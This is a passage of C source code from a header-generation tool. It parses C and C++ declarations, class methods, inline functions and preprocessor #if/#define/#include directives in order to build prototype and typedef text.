** If pSkip!=0 then skip over nSkip tokens beginning with pSkip.
**
** If zTerm!=0 then append the text to the end.
*/
static char *TokensToString(
Token *pFirst, /* First token in the string */
Token *pLast, /* Last token in the string */
char *zTerm, /* Terminate the string with this text if not NULL */
Token *pSkip, /* Skip this token if not NULL */
int nSkip /* Skip a total of this many tokens */
){
char *zReturn;
String str;
int needSpace = 0;
int c;
int iSkip = 0;
int skipOne = 0;
StringInit(&str);
pLast = pLast->pNext;
while( pFirst!=pLast ){
if( pFirst==pSkip ){ iSkip = nSkip; }
if( iSkip>0 ){
iSkip--;
pFirst=pFirst->pNext;
continue;
}
switch( pFirst->eType ){
case TT_Preprocessor:
StringAppend(&str,"\n",1);
StringAppend(&str,pFirst->zText,pFirst->nText);
StringAppend(&str,"\n",1);
needSpace = 0;
break;
case TT_Id:
switch( pFirst->zText[0] ){
case 'E':
if( pFirst->nText==6 && strncmp(pFirst->zText,"EXPORT",6)==0 ){
skipOne = 1;
}
break;
case 'P':
switch( pFirst->nText ){
case 6: skipOne = !strncmp(pFirst->zText,"PUBLIC", 6); break;
case 7: skipOne = !strncmp(pFirst->zText,"PRIVATE",7); break;
case 9: skipOne = !strncmp(pFirst->zText,"PROTECTED",9); break;
default: break;
}
break;
default:
break;
}
if( skipOne ){
pFirst = pFirst->pNext;
continue;
}
/* Fall thru to the next case */
case TT_Number:
if( needSpace ){
StringAppend(&str," ",1);
}
StringAppend(&str,pFirst->zText,pFirst->nText);
needSpace = 1;
break;
default:
c = pFirst->zText[0];
if( needSpace && (c=='*' || c=='{') ){
StringAppend(&str," ",1);
}
StringAppend(&str,pFirst->zText,pFirst->nText);
/* needSpace = pFirst->zText[0]==','; */
needSpace = 0;
break;
}
pFirst = pFirst->pNext;
}
if( zTerm && *zTerm ){
StringAppend(&str,zTerm,strlen(zTerm));
}
zReturn = StrDup(StringGet(&str),0);
StringReset(&str);
return zReturn;
}
/*
** This routine is called when we see one of the keywords "struct",
** "enum", "union" or "class". This might be the beginning of a
** type declaration. This routine will process the declaration and
** remove the declaration tokens from the input stream.
**
** If this is a type declaration that is immediately followed by a
** semicolon (in other words it isn't also a variable definition)
** then set *pReset to ';'. Otherwise leave *pReset at 0. The
** *pReset flag causes the parser to skip ahead to the next token
** that begins with the value placed in the *pReset flag, if that
** value is different from 0.
*/
static int ProcessTypeDecl(Token *pList, int flags, int *pReset){
Token *pName, *pEnd;
Decl *pDecl;
String str;
int need_to_collapse = 1;
int type = 0;
*pReset = 0;
if( pList==0 || pList->pNext==0 || pList->pNext->eType!=TT_Id ){
return 0;
}
pName = pList->pNext;
/* Catch the case of "struct Foo;" and skip it. */
if( pName->pNext && pName->pNext->zText[0]==';' ){
*pReset = ';';
return 0;
}
for(pEnd=pName->pNext; pEnd && pEnd->eType!=TT_Braces; pEnd=pEnd->pNext){
switch( pEnd->zText[0] ){
case '(':
case '*':
case '[':
case '=':
case ';':
return 0;
}
}
if( pEnd==0 ){
return 0;
}
/*
** At this point, we know we have a type declaration that is bounded
** by pList and pEnd and has the name pName.
*/
/*
** If the braces are followed immedately by a semicolon, then we are
** dealing a type declaration only. There is not variable definition
** following the type declaration. So reset...
*/
if( pEnd->pNext==0 || pEnd->pNext->zText[0]==';' ){
*pReset = ';';
need_to_collapse = 0;
}else{
need_to_collapse = 1;
}
if( proto_static==0 && (flags & (PS_Local|PS_Export|PS_Interface))==0 ){
/* Ignore these objects unless they are explicitly declared as interface,
** or unless the "-local" command line option was specified. */
*pReset = ';';
return 0;
}
#ifdef DEBUG
if( debugMask & PARSER ){
printf("**** Found type: %.*s %.*s...\n",
pList->nText, pList->zText, pName->nText, pName->zText);
PrintTokens(pList,pEnd);
printf(";\n");
}
#endif
/*
** Create a new Decl object for this definition. Actually, if this
** is a C++ class definition, then the Decl object might already exist,
** so check first for that case before creating a new one.
*/
switch( *pList->zText ){
case 'c': type = TY_Class; break;
case 's': type = TY_Structure; break;
case 'e': type = TY_Enumeration; break;
case 'u': type = TY_Union; break;
default: /* Can't Happen */ break;
}
if( type!=TY_Class ){
pDecl = 0;
}else{
pDecl = FindDecl(pName->zText, pName->nText);
if( pDecl && (pDecl->flags & type)!=type ) pDecl = 0;
}
if( pDecl==0 ){
pDecl = CreateDecl(pName->zText,pName->nText);
}
if( (flags & PS_Static) || !(flags & (PS_Interface|PS_Export)) ){
DeclSetProperty(pDecl,DP_Local);
}
DeclSetProperty(pDecl,type);
/* The object has a full declaration only if it is contained within
** "#if INTERFACE...#endif" or "#if EXPORT_INTERFACE...#endif" or
** "#if LOCAL_INTERFACE...#endif". Otherwise, we only give it a
** forward declaration.
*/
if( flags & (PS_Local | PS_Export | PS_Interface) ){
pDecl->zDecl = TokensToString(pList,pEnd,";\n",0,0);
}else{
pDecl->zDecl = 0;
}
pDecl->pComment = pList->pComment;
StringInit(&str);
StringAppend(&str,"typedef ",0);
StringAppend(&str,pList->zText,pList->nText);
StringAppend(&str," ",0);
StringAppend(&str,pName->zText,pName->nText);
StringAppend(&str," ",0);
StringAppend(&str,pName->zText,pName->nText);
StringAppend(&str,";\n",2);
pDecl->zFwd = StrDup(StringGet(&str),0);
StringReset(&str);
StringInit(&str);
StringAppend(&str,pList->zText,pList->nText);
StringAppend(&str," ",0);
StringAppend(&str,pName->zText,pName->nText);
StringAppend(&str,";\n",2);
pDecl->zFwdCpp = StrDup(StringGet(&str),0);
StringReset(&str);
if( flags & PS_Export ){
DeclSetProperty(pDecl,DP_Export);
}else if( flags & PS_Local ){
DeclSetProperty(pDecl,DP_Local);
}
/* Here's something weird. ANSI-C doesn't allow a forward declaration
** of an enumeration. So we have to build the typedef into the
** definition.
*/
if( pDecl->zDecl && DeclHasProperty(pDecl, TY_Enumeration) ){
StringInit(&str);
StringAppend(&str,pDecl->zDecl,0);
StringAppend(&str,pDecl->zFwd,0);
SafeFree(pDecl->zDecl);
SafeFree(pDecl->zFwd);
pDecl->zFwd = 0;
pDecl->zDecl = StrDup(StringGet(&str),0);
StringReset(&str);
}
if( pName->pNext->zText[0]==':' ){
DeclSetProperty(pDecl,DP_Cplusplus);
}
if( pName->nText==5 && strncmp(pName->zText,"class",5)==0 ){
DeclSetProperty(pDecl,DP_Cplusplus);
}
/*
** Remove all but pList and pName from the input stream.
*/
if( need_to_collapse ){
while( pEnd!=pName ){
Token *pPrev = pEnd->pPrev;
pPrev->pNext = pEnd->pNext;
pEnd->pNext->pPrev = pPrev;
SafeFree(pEnd);
pEnd = pPrev;
}
}
return 0;
}
/*
** Given a list of tokens that declare something (a function, procedure,
** variable or typedef) find the token which contains the name of the
** thing being declared.
**
** Algorithm:
**
** The name is:
**
** 1. The first identifier that is followed by a "[", or
**
** 2. The first identifier that is followed by a "(" where the
** "(" is followed by another identifier, or
**
** 3. The first identifier followed by "::", or
**
** 4. If none of the above, then the last identifier.
**
** In all of the above, certain reserved words (like "char") are
** not considered identifiers.
*/
static Token *FindDeclName(Token *pFirst, Token *pLast){
Token *pName = 0;
Token *p;
int c;
if( pFirst==0 || pLast==0 ){
return 0;
}
pLast = pLast->pNext;
for(p=pFirst; p && p!=pLast; p=p->pNext){
if( p->eType==TT_Id ){
static IdentTable sReserved;
static int isInit = 0;
static char *aWords[] = { "char", "class",
"const", "double", "enum", "extern", "EXPORT", "ET_PROC",
"float", "int", "long",
"PRIVATE", "PROTECTED", "PUBLIC",
"register", "static", "struct", "sizeof", "signed", "typedef",
"union", "volatile", "virtual", "void", };
if( !isInit ){
int i;
for(i=0; i<sizeof(aWords)/sizeof(aWords[0]); i++){
IdentTableInsert(&sReserved,aWords[i],0);
}
isInit = 1;
}
if( !IdentTableTest(&sReserved,p->zText,p->nText) ){
pName = p;
}
}else if( p==pFirst ){
continue;
}else if( (c=p->zText[0])=='[' && pName ){
break;
}else if( c=='(' && p->pNext && p->pNext->eType==TT_Id && pName ){
break;
}else if( c==':' && p->zText[1]==':' && pName ){
break;
}
}
return pName;
}
/*
** This routine is called when we see a method for a class that begins
** with the PUBLIC, PRIVATE, or PROTECTED keywords. Such methods are
** added to their class definitions.
*/
static int ProcessMethodDef(Token *pFirst, Token *pLast, int flags){
Token *pCode;
Token *pClass;
char *zDecl;
Decl *pDecl;
String str;
int type;
pCode = pLast;
pLast = pLast->pPrev;
while( pFirst->zText[0]=='P' ){
int rc = 1;
switch( pFirst->nText ){
case 6: rc = strncmp(pFirst->zText,"PUBLIC",6); break;
case 7: rc = strncmp(pFirst->zText,"PRIVATE",7); break;
case 9: rc = strncmp(pFirst->zText,"PROTECTED",9); break;
default: break;
}
if( rc ) break;
pFirst = pFirst->pNext;
}
pClass = FindDeclName(pFirst,pLast);
if( pClass==0 ){
fprintf(stderr,"%s:%d: Unable to find the class name for this method\n",
zFilename, pFirst->nLine);
return 1;
}
pDecl = FindDecl(pClass->zText, pClass->nText);
if( pDecl==0 || (pDecl->flags & TY_Class)!=TY_Class ){
pDecl = CreateDecl(pClass->zText, pClass->nText);
DeclSetProperty(pDecl, TY_Class);
}
StringInit(&str);
if( pDecl->zExtra ){
StringAppend(&str, pDecl->zExtra, 0);
SafeFree(pDecl->zExtra);
pDecl->zExtra = 0;
}
type = flags & PS_PPP;
if( pDecl->extraType!=type ){
if( type & PS_Public ){
StringAppend(&str, "public:\n", 0);
pDecl->extraType = PS_Public;
}else if( type & PS_Protected ){
StringAppend(&str, "protected:\n", 0);
pDecl->extraType = PS_Protected;
}else if( type & PS_Private ){
StringAppend(&str, "private:\n", 0);
pDecl->extraType = PS_Private;
}
}
StringAppend(&str, " ", 0);
zDecl = TokensToString(pFirst, pLast, ";\n", pClass, 2);
StringAppend(&str, zDecl, 0);
SafeFree(zDecl);
pDecl->zExtra = StrDup(StringGet(&str), 0);
StringReset(&str);
return 0;
}
/*
** This routine is called when we see a function or procedure definition.
** We make an entry in the declaration table that is a prototype for this
** function or procedure.
*/
static int ProcessProcedureDef(Token *pFirst, Token *pLast, int flags){
Token *pName;
Decl *pDecl;
Token *pCode;
if( pFirst==0 || pLast==0 ){
return 0;
}
if( flags & PS_Method ){
if( flags & PS_PPP ){
return ProcessMethodDef(pFirst, pLast, flags);
}else{
return 0;
}
}
if( (flags & PS_Static)!=0 && !proto_static ){
return 0;
}
pCode = pLast;
while( pLast && pLast!=pFirst && pLast->zText[0]!=')' ){
pLast = pLast->pPrev;
}
if( pLast==0 || pLast==pFirst || pFirst->pNext==pLast ){
fprintf(stderr,"%s:%d: Unrecognized syntax.\n",
zFilename, pFirst->nLine);
return 1;
}
if( flags & (PS_Interface|PS_Export|PS_Local) ){
fprintf(stderr,"%s:%d: Missing \"inline\" on function or procedure.\n",
zFilename, pFirst->nLine);
return 1;
}
pName = FindDeclName(pFirst,pLast);
if( pName==0 ){
fprintf(stderr,"%s:%d: Malformed function or procedure definition.\n",
zFilename, pFirst->nLine);
return 1;
}
/*
** At this point we've isolated a procedure declaration between pFirst
** and pLast with the name pName.
*/
#ifdef DEBUG
if( debugMask & PARSER ){
printf("**** Found routine: %.*s on line %d...\n", pName->nText,
pName->zText, pFirst->nLine);
PrintTokens(pFirst,pLast);
printf(";\n");
}
#endif
pDecl = CreateDecl(pName->zText,pName->nText);
pDecl->pComment = pFirst->pComment;
if( pCode && pCode->eType==TT_Braces ){
pDecl->tokenCode = *pCode;
}
DeclSetProperty(pDecl,TY_Subroutine);
pDecl->zDecl = TokensToString(pFirst,pLast,";\n",0,0);
if( (flags & (PS_Static|PS_Local2))!=0 ){
DeclSetProperty(pDecl,DP_Local);
}else if( (flags & (PS_Export2))!=0 ){
DeclSetProperty(pDecl,DP_Export);
}
if( flags & DP_Cplusplus ){
DeclSetProperty(pDecl,DP_Cplusplus);
}else{
DeclSetProperty(pDecl,DP_ExternCReqd);
}
return 0;
}
/*
** This routine is called whenever we see the "inline" keyword. We
** need to seek-out the inline function or procedure and make a
** declaration out of the entire definition.
*/
static int ProcessInlineProc(Token *pFirst, int flags, int *pReset){
Token *pName;
Token *pEnd;
Decl *pDecl;
for(pEnd=pFirst; pEnd; pEnd = pEnd->pNext){
if( pEnd->zText[0]=='{' || pEnd->zText[0]==';' ){
*pReset = pEnd->zText[0];
break;
}
}
if( pEnd==0 ){
*pReset = ';';
fprintf(stderr,"%s:%d: incomplete inline procedure definition\n",
zFilename, pFirst->nLine);
return 1;
}
pName = FindDeclName(pFirst,pEnd);
if( pName==0 ){
fprintf(stderr,"%s:%d: malformed inline procedure definition\n",
zFilename, pFirst->nLine);
return 1;
}
#ifdef DEBUG
if( debugMask & PARSER ){
printf("**** Found inline routine: %.*s on line %d...\n",
pName->nText, pName->zText, pFirst->nLine);
PrintTokens(pFirst,pEnd);
printf("\n");
}
#endif
pDecl = CreateDecl(pName->zText,pName->nText);
pDecl->pComment = pFirst->pComment;
DeclSetProperty(pDecl,TY_Subroutine);
pDecl->zDecl = TokensToString(pFirst,pEnd,";\n",0,0);
if( (flags & (PS_Static|PS_Local|PS_Local2)) ){
DeclSetProperty(pDecl,DP_Local);
}else if( flags & (PS_Export|PS_Export2) ){
DeclSetProperty(pDecl,DP_Export);
}
if( flags & DP_Cplusplus ){
DeclSetProperty(pDecl,DP_Cplusplus);
}else{
DeclSetProperty(pDecl,DP_ExternCReqd);
}
return 0;
}
/*
** Determine if the tokens between pFirst and pEnd form a variable
** definition or a function prototype. Return TRUE if we are dealing
** with a variable defintion and FALSE for a prototype.
**
** pEnd is the token that ends the object. It can be either a ';' or
** a '='. If it is '=', then assume we have a variable definition.
**
** If pEnd is ';', then the determination is more difficult. We have
** to search for an occurance of an ID followed immediately by '('.
** If found, we have a prototype. Otherwise we are dealing with a
** variable definition.
*/
static int isVariableDef(Token *pFirst, Token *pEnd){
if( pEnd && pEnd->zText[0]=='=' &&
(pEnd->pPrev->nText!=8 || strncmp(pEnd->pPrev->zText,"operator",8)!=0)
){
return 1;
}
while( pFirst && pFirst!=pEnd && pFirst->pNext && pFirst->pNext!=pEnd ){
if( pFirst->eType==TT_Id && pFirst->pNext->zText[0]=='(' ){
return 0;
}
pFirst = pFirst->pNext;
}
return 1;
}
/*
** This routine is called whenever we encounter a ";" or "=". The stuff
** between pFirst and pLast constitutes either a typedef or a global
** variable definition. Do the right thing.
*/
static int ProcessDecl(Token *pFirst, Token *pEnd, int flags){
Token *pName;
Decl *pDecl;
int isLocal = 0;
int isVar;
int nErr = 0;
if( pFirst==0 || pEnd==0 ){
return 0;
}
if( flags & PS_Typedef ){
if( (flags & (PS_Export2|PS_Local2))!=0 ){
fprintf(stderr,"%s:%d: \"EXPORT\" or \"LOCAL\" ignored before typedef.\n",
zFilename, pFirst->nLine);
nErr++;
}
if( (flags & (PS_Interface|PS_Export|PS_Local|DP_Cplusplus))==0 ){
/* It is illegal to duplicate a typedef in C (but OK in C++).
** So don't record typedefs that aren't within a C++ file or
** within #if INTERFACE..#endif */
return nErr;
}
if( (flags & (PS_Interface|PS_Export|PS_Local))==0 && proto_static==0 ){
/* Ignore typedefs that are not with "#if INTERFACE..#endif" unless
** the "-local" command line option is used. */
return nErr;
}
if( (flags & (PS_Interface|PS_Export))==0 ){
/* typedefs are always local, unless within #if INTERFACE..#endif */
isLocal = 1;
}
}else if( flags & (PS_Static|PS_Local2) ){
if( proto_static==0 && (flags & PS_Local2)==0 ){
/* Don't record static variables unless the "-local" command line
** option was specified or the "LOCAL" keyword is used. */
return nErr;
}
while( pFirst!=0 && pFirst->pNext!=pEnd &&
((pFirst->nText==6 && strncmp(pFirst->zText,"static",6)==0)
|| (pFirst->nText==5 && strncmp(pFirst->zText,"LOCAL",6)==0))
){
/* Lose the initial "static" or local from local variables.
** We'll prepend "extern" later. */
pFirst = pFirst->pNext;
isLocal = 1;
}
if( pFirst==0 || !isLocal ){
return nErr;
}
}else if( flags & PS_Method ){
/* Methods are declared by their class. Don't declare separately. */
return nErr;
}
isVar = (flags & (PS_Typedef|PS_Method))==0 && isVariableDef(pFirst,pEnd);
if( isVar && (flags & (PS_Interface|PS_Export|PS_Local))!=0
&& (flags & PS_Extern)==0 ){
fprintf(stderr,"%s:%d: Can't define a variable in this context\n",
zFilename, pFirst->nLine);
nErr++;
}
pName = FindDeclName(pFirst,pEnd->pPrev);
if( pName==0 ){
fprintf(stderr,"%s:%d: Can't find a name for the object declared here.\n",
zFilename, pFirst->nLine);
return nErr+1;
}
#ifdef DEBUG
if( debugMask & PARSER ){
if( flags & PS_Typedef ){
printf("**** Found typedef %.*s at line %d...\n",
pName->nText, pName->zText, pName->nLine);
}else if( isVar ){
printf("**** Found variable %.*s at line %d...\n",
pName->nText, pName->zText, pName->nLine);
}else{
printf("**** Found prototype %.*s at line %d...\n",
pName->nText, pName->zText, pName->nLine);
}
PrintTokens(pFirst,pEnd->pPrev);
printf(";\n");
}
#endif
pDecl = CreateDecl(pName->zText,pName->nText);
if( (flags & PS_Typedef) ){
DeclSetProperty(pDecl, TY_Typedef);
}else if( isVar ){
DeclSetProperty(pDecl,DP_ExternReqd | TY_Variable);
if( !(flags & DP_Cplusplus) ){
DeclSetProperty(pDecl,DP_ExternCReqd);
}
}else{
DeclSetProperty(pDecl, TY_Subroutine);
if( !(flags & DP_Cplusplus) ){
DeclSetProperty(pDecl,DP_ExternCReqd);
}
}
pDecl->pComment = pFirst->pComment;
pDecl->zDecl = TokensToString(pFirst,pEnd->pPrev,";\n",0,0);
if( isLocal || (flags & (PS_Local|PS_Local2))!=0 ){
DeclSetProperty(pDecl,DP_Local);
}else if( flags & (PS_Export|PS_Export2) ){
DeclSetProperty(pDecl,DP_Export);
}
if( flags & DP_Cplusplus ){
DeclSetProperty(pDecl,DP_Cplusplus);
}
return nErr;
}
/*
** Push an if condition onto the if stack
*/
static void PushIfMacro(
const char *zPrefix, /* A prefix, like "define" or "!" */
const char *zText, /* The condition */
int nText, /* Number of characters in zText */
int nLine, /* Line number where this macro occurs */
int flags /* Either 0, PS_Interface, PS_Export or PS_Local */
){
Ifmacro *pIf;
int nByte;
nByte = sizeof(Ifmacro);
if( zText ){
if( zPrefix ){
nByte += strlen(zPrefix) + 2;
}
nByte += nText + 1;
}
pIf = SafeMalloc( nByte );
if( zText ){
pIf->zCondition = (char*)&pIf[1];
if( zPrefix ){
sprintf(pIf->zCondition,"%s(%.*s)",zPrefix,nText,zText);
}else{
sprintf(pIf->zCondition,"%.*s",nText,zText);
}
}else{
pIf->zCondition = 0;
}
pIf->nLine = nLine;
pIf->flags = flags;
pIf->pNext = ifStack;
ifStack = pIf;
}
/*
** This routine is called to handle all preprocessor directives.
**
** This routine will recompute the value of *pPresetFlags to be the
** logical or of all flags on all nested #ifs. The #ifs that set flags
** are as follows:
**
** conditional flag set
** ------------------------ --------------------
** #if INTERFACE PS_Interface
** #if EXPORT_INTERFACE PS_Export
** #if LOCAL_INTERFACE PS_Local
**
** For example, if after processing the preprocessor token given
** by pToken there is an "#if INTERFACE" on the preprocessor
** stack, then *pPresetFlags will be set to PS_Interface.
*/
static int ParsePreprocessor(Token *pToken, int flags, int *pPresetFlags){
const char *zCmd;
int nCmd;
const char *zArg;
int nArg;
int nErr = 0;
Ifmacro *pIf;
zCmd = &pToken->zText[1];
while( isspace(*zCmd) && *zCmd!='\n' ){
zCmd++;
}
if( !isalpha(*zCmd) ){
return 0;
}
nCmd = 1;
while( isalpha(zCmd[nCmd]) ){
nCmd++;
}
if( nCmd==5 && strncmp(zCmd,"endif",5)==0 ){
/*
** Pop the if stack
*/
pIf = ifStack;
if( pIf==0 ){
fprintf(stderr,"%s:%d: extra '#endif'.\n",zFilename,pToken->nLine);
return 1;
}
ifStack = pIf->pNext;
SafeFree(pIf);
}else if( nCmd==6 && strncmp(zCmd,"define",6)==0 ){
/*
** Record a #define if we are in PS_Interface or PS_Export
*/
Decl *pDecl;
if( !(flags & (PS_Local|PS_Interface|PS_Export)) ){ return 0; }
zArg = &zCmd[6];
while( *zArg && isspace(*zArg) && *zArg!='\n' ){
zArg++;
}
if( *zArg==0 || *zArg=='\n' ){ return 0; }
for(nArg=0; ISALNUM(zArg[nArg]); nArg++){}
if( nArg==0 ){ return 0; }
pDecl = CreateDecl(zArg,nArg);
pDecl->pComment = pToken->pComment;
DeclSetProperty(pDecl,TY_Macro);
pDecl->zDecl = SafeMalloc( pToken->nText + 2 );
sprintf(pDecl->zDecl,"%.*s\n",pToken->nText,pToken->zText);
if( flags & PS_Export ){
DeclSetProperty(pDecl,DP_Export);
}else if( flags & PS_Local ){
DeclSetProperty(pDecl,DP_Local);
}
}else if( nCmd==7 && strncmp(zCmd,"include",7)==0 ){
/*
** Record an #include if we are in PS_Interface or PS_Export
*/
Include *pInclude;
char *zIf;
if( !(flags & (PS_Interface|PS_Export)) ){ return 0; }
zArg = &zCmd[7];
while( *zArg && isspace(*zArg) ){ zArg++; }
for(nArg=0; !isspace(zArg[nArg]); nArg++){}
if( (zArg[0]=='"' && zArg[nArg-1]!='"')
||(zArg[0]=='<' && zArg[nArg-1]!='>')
){
fprintf(stderr,"%s:%d: malformed #include statement.\n",
zFilename,pToken->nLine);
return 1;
}
zIf = GetIfString();
if( zIf ){
pInclude = SafeMalloc( sizeof(Include) + nArg*2 + strlen(zIf) + 10 );
pInclude->zFile = (char*)&pInclude[1];
pInclude->zLabel = &pInclude->zFile[nArg+1];
sprintf(pInclude->zFile,"%.*s",nArg,zArg);
sprintf(pInclude->zLabel,"%.*s:%s",nArg,zArg,zIf);
pInclude->zIf = &pInclude->zLabel[nArg+1];
SafeFree(zIf);
}else{
pInclude = SafeMalloc( sizeof(Include) + nArg + 1 );
pInclude->zFile = (char*)&pInclude[1];
sprintf(pInclude->zFile,"%.*s",nArg,zArg);
pInclude->zIf = 0;
pInclude->zLabel = pInclude->zFile;
}
pInclude->pNext = includeList;
includeList = pInclude;
}else if( nCmd==2 && strncmp(zCmd,"if",2)==0 ){
/*
** Push an #if. Watch for the special cases of INTERFACE
** and EXPORT_INTERFACE and LOCAL_INTERFACE
*/
zArg = &zCmd[2];
while( *zArg && isspace(*zArg) && *zArg!='\n' ){
zArg++;
}
if( *zArg==0 || *zArg=='\n' ){ return 0; }
nArg = pToken->nText + (int)(pToken->zText - zArg);
if( nArg==9 && strncmp(zArg,"INTERFACE",9)==0 ){
PushIfMacro(0,0,0,pToken->nLine,PS_Interface);
}else if( nArg==16 && strncmp(zArg,"EXPORT_INTERFACE",16)==0 ){
PushIfMacro(0,0,0,pToken->nLine,PS_Export);
}else if( nArg==15 && strncmp(zArg,"LOCAL_INTERFACE",15)==0 ){
PushIfMacro(0,0,0,pToken->nLine,PS_Local);
}else{
PushIfMacro(0,zArg,nArg,pToken->nLine,0);
}
}else if( nCmd==5 && strncmp(zCmd,"ifdef",5)==0 ){
/*
** Push an #ifdef.
*/
zArg = &zCmd[5];
while( *zArg && isspace(*zArg) && *zArg!='\n' ){
zArg++;
}
if( *zArg==0 || *zArg=='\n' ){ return 0; }
nArg = pToken->nText + (int)(pToken->zText - zArg);
PushIfMacro("defined",zArg,nArg,pToken->nLine,0);
}else if( nCmd==6 && strncmp(zCmd,"ifndef",6)==0 ){
/*
** Push an #ifndef.
*/
zArg = &zCmd[6];
while( *zArg && isspace(*zArg) && *zArg!='\n' ){
zArg++;
}
if( *zArg==0 || *zArg=='\n' ){ return 0; }
nArg = pToken->nText + (int)(pToken->zText - zArg);
PushIfMacro("!defined",zArg,nArg,pToken->nLine,0);
}else if( nCmd==4 && strncmp(zCmd,"else",4)==0 ){
/*
** Invert the #if on the top of the stack
*/
if( ifStack==0 ){
fprintf(stderr,"%s:%d: '#else' without an '#if'\n",zFilename,
pToken->nLine);
return 1;
}
pIf = ifStack;
if( pIf->zCondition ){
ifStack = ifStack->pNext;
PushIfMacro("!",pIf->zCondition,strlen(pIf->zCondition),pIf->nLine,0);
SafeFree(pIf);
}else{
pIf->flags = 0;
}
}else{
/*
** This directive can be safely ignored
*/
return 0;
}
/*
** Recompute the preset flags
*/
*pPresetFlags = 0;
for(pIf = ifStack; pIf; pIf=pIf->pNext){
*pPresetFlags |= pIf->flags;
}
return nErr;
}
/*
** Parse an entire file. Return the number of errors.
**
** pList is a list of tokens in the file. Whitespace tokens have been
** eliminated, and text with {...} has been collapsed into a
** single TT_Brace token.
**
** initFlags are a set of parse flags that should always be set for this
** file. For .c files this is normally 0. For .h files it is PS_Interface.
*/
static int ParseFile(Token *pList, int initFlags){
int nErr = 0;
Token *pStart = 0;
int flags = initFlags;
int presetFlags = initFlags;
int resetFlag = 0;
includeList = 0;
while( pList ){
switch( pList->eType ){
case TT_EOF:
goto end_of_loop;
case TT_Preprocessor:
nErr += ParsePreprocessor(pList,flags,&presetFlags);
pStart = 0;
presetFlags |= initFlags;
flags = presetFlags;
break;
case TT_Other:
switch( pList->zText[0] ){
case ';':
nErr += ProcessDecl(pStart,pList,flags);
pStart = 0;
flags = presetFlags;
break;
case '=':
if( pList->pPrev->nText==8
&& strncmp(pList->pPrev->zText,"operator",8)==0 ){
break;
}
nErr += ProcessDecl(pStart,pList,flags);
pStart = 0;
while( pList && pList->zText[0]!=';' ){
pList = pList->pNext;
}
if( pList==0 ) goto end_of_loop;
flags = presetFlags;
break;
case ':':
if( pList->zText[1]==':' ){
flags |= PS_Method;
}
break;
default:
break;
}
break;
case TT_Braces:
nErr += ProcessProcedureDef(pStart,pList,flags);
pStart = 0;
flags = presetFlags;
break;
case TT_Id:
if( pStart==0 ){
pStart = pList;
flags = presetFlags;
}
resetFlag = 0;
switch( pList->zText[0] ){
case 'c':
if( pList->nText==5 && strncmp(pList->zText,"class",5)==0 ){
nErr += ProcessTypeDecl(pList,flags,&resetFlag);
}
break;
case 'E':
if( pList->nText==6 && strncmp(pList->zText,"EXPORT",6)==0 ){
flags |= PS_Export2;
/* pStart = 0; */
}
break;
case 'e':
if( pList->nText==4 && strncmp(pList->zText,"enum",4)==0 ){
if( pList->pNext && pList->pNext->eType==TT_Braces ){
pList = pList->pNext;
}else{
nErr += ProcessTypeDecl(pList,flags,&resetFlag);
}
}else if( pList->nText==6 && strncmp(pList->zText,"extern",6)==0 ){
pList = pList->pNext;
if( pList && pList->nText==3 && strncmp(pList->zText,"\"C\"",3)==0 ){
pList = pList->pNext;
flags &= ~DP_Cplusplus;
}else{
flags |= PS_Extern;
}
pStart = pList;
}
break;
case 'i':
if( pList->nText==6 && strncmp(pList->zText,"inline",6)==0 ){
nErr += ProcessInlineProc(pList,flags,&resetFlag);
}
break;
case 'L':
if( pList->nText==5 && strncmp(pList->zText,"LOCAL",5)==0 ){
flags |= PS_Local2;
pStart = pList;
}
break;
case 'P':
if( pList->nText==6 && strncmp(pList->zText, "PUBLIC",6)==0 ){
flags |= PS_Public;
pStart = pList;
}else if( pList->nText==7 && strncmp(pList->zText, "PRIVATE",7)==0 ){
flags |= PS_Private;
pStart = pList;
}else if( pList->nText==9 && strncmp(pList->zText,"PROTECTED",9)==0 ){
flags |= PS_Protected;
pStart = pList;
}
break;
case 's':
if( pList->nText==6 && strncmp(pList->zText,"struct",6)==0 ){
if( pList->pNext && pList->pNext->eType==TT_Braces ){
pList = pList->pNext;
}else{
nErr += ProcessTypeDecl(pList,flags,&resetFlag);
}
}else if( pList->nText==6 && strncmp(pList->zText,"static",6)==0 ){
flags |= PS_Static;
}
break;
case 't':
if( pList->nText==7 && strncmp(pList->zText,"typedef",7)==0 ){
flags |= PS_Typedef;
}
break;
case 'u':
if( pList->nText==5 && strncmp(pList->zText,"union",5)==0 ){
if( pList->pNext && pList->pNext->eType==TT_Braces ){
pList = pList->pNext;
}else{
nErr += ProcessTypeDecl(pList,flags,&resetFlag);
}
}
break;
default:
break;
}
if( resetFlag!=0 ){
while( pList && pList->zText[0]!=resetFlag ){
pList = pList->pNext;
}
if( pList==0 ) goto end_of_loop;
pStart = 0;
flags = presetFlags;
}
break;
case TT_String:
case TT_Number:
break;
default:
pStart = pList;
flags = presetFlags;
break;
}
pList = pList->pNext;
}
end_of_loop:
/* Verify that all #ifs have a matching "#endif" */
while( ifStack ){
Ifmacro *pIf = ifStack;
ifStack = pIf->pNext;
fprintf(stderr,"%s:%d: This '#if' has no '#endif'\n",zFilename,
pIf->nLine);
SafeFree(pIf);
}
return nErr;
}
/*
** If the given Decl object has a non-null zExtra field, then the text
** of that zExtra field needs to be inserted in the middle of the
** zDecl field before the last "}" in the zDecl. This routine does that.
** If the zExtra is NULL, this routine is a no-op.
**
** zExtra holds extra method declarations for classes. The declarations
** have to be inserted into the class definition.
*/
static void InsertExtraDecl(Decl *pDecl){
int i;
String str;
if( pDecl==0 || pDecl->zExtra==0 || pDecl->zDecl==0 ) return;
i = strlen(pDecl->zDecl) - 1;
while( i>0 && pDecl->zDecl[i]!='}' ){ i--; }
StringInit(&str);
StringAppend(&str, pDecl->zDecl, i);
StringAppend(&str, pDecl->zExtra, 0);
StringAppend(&str, &pDecl->zDecl[i], 0);
SafeFree(pDecl->zDecl);
SafeFree(pDecl->zExtra);
pDecl->zDecl = StrDup(StringGet(&str), 0);
StringReset(&str);
pDecl->zExtra = 0;
}
/*
** Reset the DP_Forward and DP_Declared flags on all Decl structures.
** Set both flags for anything that is tagged as local and isn't
** in the file zFilename so that it won't be printing in other files.
*/
static void ResetDeclFlags(char *zFilename){
Decl *pDecl;
for(pDecl = pDeclFirst; pDecl; pDecl = pDecl->pNext){
DeclClearProperty(pDecl,DP_Forward|DP_Declared);
if( DeclHasProperty(pDecl,DP_Local) && pDecl->zFile!=zFilename ){
DeclSetProperty(pDecl,DP_Forward|DP_Declared);
}
}
}
/*
** Forward declaration of the ScanText() function.
*/
static void ScanText(const char*, GenState *pState);
/*
** The output in pStr is currently within an #if CONTEXT where context
** is equal to *pzIf. (*pzIf might be NULL to indicate that we are
** not within any #if at the moment.) We are getting ready to output
